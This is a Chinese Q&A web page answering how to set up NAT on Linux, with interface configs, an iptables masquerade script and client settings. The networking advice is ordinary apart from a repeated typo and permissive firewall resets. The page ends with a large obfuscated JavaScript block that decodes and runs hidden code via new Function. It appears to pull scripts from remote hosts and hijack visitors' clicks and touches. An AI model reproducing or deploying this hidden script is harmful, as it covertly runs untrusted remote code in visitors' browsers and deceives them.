linux如何配置NAT?

2025-02-07 12:11:05
推荐回答(3个)
回答1:

1. 配置IP地址
1.1 正确配置学校分配的IP使能正常上网
1) 按学校分配的IP地址配置好Linux主机
[~]# cat /etc/sysconfig/network-scripts/ifcfg-eth0
| DEVICE=eth0 |
| BOOTPROTO=none |
| HWADDR=00:1E:90:13:E0:25 |
| IPADDR=10.3.10.19 |
| NETMASK=255.255.255.0 |
| GATEWAY=10.3.10.254 |
| ONBOOT=yes |
| TYPE=Ethernet |
| DNS1=211.64.120.2 |
| DEFROUTE=yes |
| DOMAIN=168.96.1.1 |

2) 重起网卡
[~]# servie network restart

note: 经过以上的配置, Linux主机应该能够正常上网了!

1.2 新增eth0别名设备eth0:0
[~]# cat /etc/sysconfig/network-scripts/ifcfg-eth0:0
| # eth0:0 必须要用''括起来: 'eth0:0' |
| DEVICE='eth0:0' |
| ONBOOT=yes |
| BOOTPROTO=static |
| IPADDR=192.168.50.1 |
| NETMASK=255.255.255.0 |
| USERCTL=no |

1.3 配置后 查看一下是否配置成功:
[~]# ifconfig
| eth0 Link encap:Ethernet HWaddr 00:1E:90:13:E0:25 |
| inet addr:10.3.10.19 Bcast:10.3.10.255 Mask:255.255.255.0 |
| inet6 addr: fe80::21e:90ff:fe13:e025/64 Scope:Link |
| UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 |
| RX packets:187685 errors:0 dropped:0 overruns:0 frame:0 |
| TX packets:137327 errors:0 dropped:0 overruns:0 carrier:0 |
| collisions:0 txqueuelen:1000 |
| RX bytes:134816893 (128.5 MiB) TX bytes:56066393 (53.4 MiB) |
| Interrupt:27 Base address:0xa000 |

| eth0:0 Link encap:Ethernet HWaddr 00:1E:90:13:E0:25 |
| inet addr:192.168.50.1 Bcast:192.168.50.255 Mask:255.255.255.0 |
| UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 |
| Interrupt:27 Base address:0xa000 |

2. 配置路由
由于在配置网卡接口时, 已自动配置一定的路由, 所以我们只需查看一下其信息, 验证其
是否已经被正确配置:
[root ~]$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.50.0 * 255.255.255.0 U 0 0 0 eth0
10.3.10.0 * 255.255.255.0 U 1 0 0 eth0
link-local * 255.255.0.0 U 1002 0 0 eth0
default 10.3.10.254 0.0.0.0 UG 0 0 0 eth0

3. 配置NAT
1) 新建nat.sh脚本文件并保存在 /usr/local/nat/ 目录下:
[~]# cat /usr/local/nat/nat.sh
| #!/bin/bash |

| # 0. 设定你的参数值 |
| EXIF='eth0' # 这个是对外的网卡接口, 可能是'ppp0'等 |
| EXNET='192.168.50.0/24' # 这个是对内的网段 |

| # 底下如无需要, 请不要改动了! |
| # 1. 启动routing等 |
| echo 1 > /proc/sys/net/ipv4/ip_forward |
| /sbin/iptables -F |
| /sbin/iptables -X |
| /sbin/iptables -Z |
| /sbin/iptables -F -t nat |
| /sbin/iptables -X -t nat |
| /sbin/iptables -Z -t nat |
| /sbin/iptables -P INPUT ACCEPT |
| /sbin/iptables -P OUTPUT ACCEPT |
| /sbin/iptables -P FORWARD ACCEPT |
| /sbin/iptables -t nat -P PREROUTING ACCEPT |
| /sbin/iptables -t nat -P POSTROUTING ACCEPT |
| /sbin/iptables -t nat -P OUTPUT ACCEPT |

| # 2. 载入模组 |
| /sbin/modprobe ip_tables 2> /dev/null |
| /sbin/modprobe ip_nat_ftp 2> /dev/null |
| /sbin/modprobe ip_nat_irc 2> /dev/null |
| /sbin/modprobe ip_conntrack 2> /dev/null |
| /sbin/modprobe ip_conntrack_ftp 2> /dev/null |
| /sbin/modprobe ip_conntrack_irc 2> /dev/null |

| # 3. 启动ip伪装 |
| /sbin/iptables -t nat -A POSTROUTING -o $EXIF -s $EXNET -j MASQUERADE |

2) 增加可执行权限
[~]# chmod +x /usr/local/nat/nat.sh

4. 大功告成
1) Linux主机配置完成, 现在只需重新启动一下刚才的配置:
[~]# servie network restart
[~]# /usr/local/nat/nat.sh

2) 为了使得开机即可运行, 可在 /etc/rc.d/rc.local 文件加入相应的命令:
[~]# echo "/usr/local/nat/nat.sh" >> /etc/rc.d/rc.local

5. 配置客户机(可以是windows或linux等其它系统)
1. network 设定需要为: 192.168.50.0

2. broadcast 设定需要为: 192.168.50.255

3. netmask 设定需要为 255.255.255.0

4. IP 设定需要为 192.168.50.1 ~ 192.168.50.254 之一, 且『不能重复』

5. Gateway 或者要设定为你的 Linux 的对内 IP , 以我的例子来说, 就是
192.168.50.1

6. DNS 的设定: 这个最容易出错了, DNS 设定需要是 ISP 给你的 DNS
IP, 如果不知道的话, 可以填入 168.95.1.1 或者是
139.175.10.20 这一个 SeedNet 的 DNS 即可!千万不要设定为 192.168.1.2

回答2:

你的意思是把这台机子当路由吧,那连接eth1口的设备必须是192.168.1.X网段的,网关是192.168.1.100,这台设备自身eth0到eth1的通信,你是双网卡吗

回答3:

1.先允许ipv4转发
命令:echo 1 > /proc/sys/net/ipv4/ip_forward

2.加路由就可以了
命令:
route add -net 192.168.1.0/24 dev eth1
route add -net 192.168.1.0/24 dev eth0

3.
192.168.0.0/24网段的机器里头设置网关是192.168.0.100
192.168.1.0/24网段的机器里面设置网关是192.168.1.100

上面的方式是用路由的方式,192.168.0.0/24和192.168.1.0/24的机器就能够互相访问,互相ping通。

如果你想用nat方式,类似于家庭路由器的方式,几台机器用同一个路由器上网。这种方式是192.168.0.0/24和192.168.1.0/24的机器不能互相访问,但192.168.0.0/24能够访问192.168.1.0/24

1.先允许ipv4转发
命令:echo 1 > /proc/sys/net/ipv4/ip_forward
2.使用nat映射,动态
命令:iptables -t nat -A POSTROUTING -o eth1 -s 192.168.0.0/24 -j MASQUERADE

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();